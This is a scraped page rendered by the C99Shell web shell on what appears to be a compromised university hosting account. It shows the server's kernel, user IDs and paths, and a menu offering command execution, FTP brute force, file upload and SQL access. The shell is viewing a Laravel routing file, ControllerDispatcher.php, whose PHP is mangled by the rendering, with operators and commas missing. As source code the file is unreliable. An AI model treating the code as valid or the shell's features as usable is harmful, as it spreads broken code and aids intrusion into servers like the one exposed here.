!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Routing/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ControllerDispatcher.php (4.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Routing;

use 
Illuminate\Http\Request;
use 
Illuminate\Support\Collection;
use 
Illuminate\Container\Container;

class 
ControllerDispatcher
{
    use 
RouteDependencyResolverTrait;

    
/**
     * The router instance.
     *
     * @var \Illuminate\Routing\Router
     */
    
protected $router;

    
/**
     * The IoC container instance.
     *
     * @var \Illuminate\Container\Container
     */
    
protected $container;

    
/**
     * Create a new controller dispatcher instance.
     *
     * @param  \Illuminate\Routing\Router  $router
     * @param  \Illuminate\Container\Container  $container
     * @return void
     */
    
public function __construct(Router $router,
                                
Container $container null)
    {
        
$this->router $router;
        
$this->container $container;
    }

    
/**
     * Dispatch a request to a given controller and method.
     *
     * @param  \Illuminate\Routing\Route  $route
     * @param  \Illuminate\Http\Request  $request
     * @param  string  $controller
     * @param  string  $method
     * @return mixed
     */
    
public function dispatch(Route $routeRequest $request$controller$method)
    {
        
$instance $this->makeController($controller);

        return 
$this->callWithinStack($instance$route$request$method);
    }

    
/**
     * Make a controller instance via the IoC container.
     *
     * @param  string  $controller
     * @return mixed
     */
    
protected function makeController($controller)
    {
        
Controller::setRouter($this->router);

        return 
$this->container->make($controller);
    }

    
/**
     * Call the given controller instance method.
     *
     * @param  \Illuminate\Routing\Controller  $instance
     * @param  \Illuminate\Routing\Route  $route
     * @param  \Illuminate\Http\Request  $request
     * @param  string  $method
     * @return mixed
     */
    
protected function callWithinStack($instance$route$request$method)
    {
        
$shouldSkipMiddleware $this->container->bound('middleware.disable') &&
                                
$this->container->make('middleware.disable') === true;

        
$middleware $shouldSkipMiddleware ? [] : $this->getMiddleware($instance$method);

        
// Here we will make a stack onion instance to execute this request in, which gives
        // us the ability to define middlewares on controllers. We will return the given
        // response back out so that "after" filters can be run after the middlewares.
        
return (new Pipeline($this->container))
                    ->
send($request)
                    ->
through($middleware)
                    ->
then(function ($request) use ($instance$route$method) {
                        return 
$this->router->prepareResponse(
                            
$request$this->call($instance$route$method)
                        );
                    });
    }

    
/**
     * Get the middleware for the controller instance.
     *
     * @param  \Illuminate\Routing\Controller  $instance
     * @param  string  $method
     * @return array
     */
    
public function getMiddleware($instance$method)
    {
        
$results = new Collection;

        foreach (
$instance->getMiddleware() as $name => $options) {
            if (! 
$this->methodExcludedByOptions($method$options)) {
                
$results[] = $this->router->resolveMiddlewareClassName($name);
            }
        }

        return 
$results->flatten()->all();
    }

    
/**
     * Determine if the given options exclude a particular method.
     *
     * @param  string  $method
     * @param  array  $options
     * @return bool
     */
    
public function methodExcludedByOptions($method, array $options)
    {
        return (isset(
$options['only']) && ! in_array($method, (array) $options['only'])) ||
            (! empty(
$options['except']) && in_array($method, (array) $options['except']));
    }

    
/**
     * Call the given controller instance method.
     *
     * @param  \Illuminate\Routing\Controller  $instance
     * @param  \Illuminate\Routing\Route  $route
     * @param  string  $method
     * @return mixed
     */
    
protected function call($instance$route$method)
    {
        
$parameters $this->resolveClassMethodDependencies(
            
$route->parametersWithoutNulls(), $instance$method
        
);

        return 
$instance->callAction($method$parameters);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0123 ]--